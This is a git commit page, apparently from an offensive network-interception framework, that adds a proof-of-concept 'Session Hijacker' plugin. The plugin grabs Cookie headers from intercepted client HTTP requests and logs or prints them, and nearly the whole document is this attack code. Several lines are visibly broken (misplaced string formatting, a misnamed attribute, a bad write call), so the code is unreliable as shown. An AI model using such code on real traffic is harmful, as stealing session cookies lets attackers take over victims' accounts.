added PoC session hijacking plugin

This commit is contained in:
byt3bl33d3r 2014-11-26 20:01:28 +01:00
parent e2132a6ca9
commit e4cf519356
7 changed files with 69 additions and 17 deletions

View file

@ -0,0 +1,30 @@
from plugins.plugin import Plugin
import os
import argparse
import logging
class SessionHijacker(Plugin):
name = "Session Hijacker"
optname = "hijack"
desc = "Performs session hijacking attacks against clients"
implements = ["sendHeaders"]
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.log_clients = options.clients
def sendHeaders(self, request):
for header, value in request.headers.items():
if header == 'cookie':
if self.log_clients:
log_file = open('./logs/%s.log', 'a' % request.client.getClientIP())
log_file.write(request.header['host'], value, "\n")
log_file.close()
logging.info("%s %s << Wrote cookie to logfile" % (request.client.getClientIP(), request.headers['host']))
else:
logging.info("%s %s << Got cookie: %s" % (request.client.getClientIP(), request.headers['host'], value))
#def add_options(options):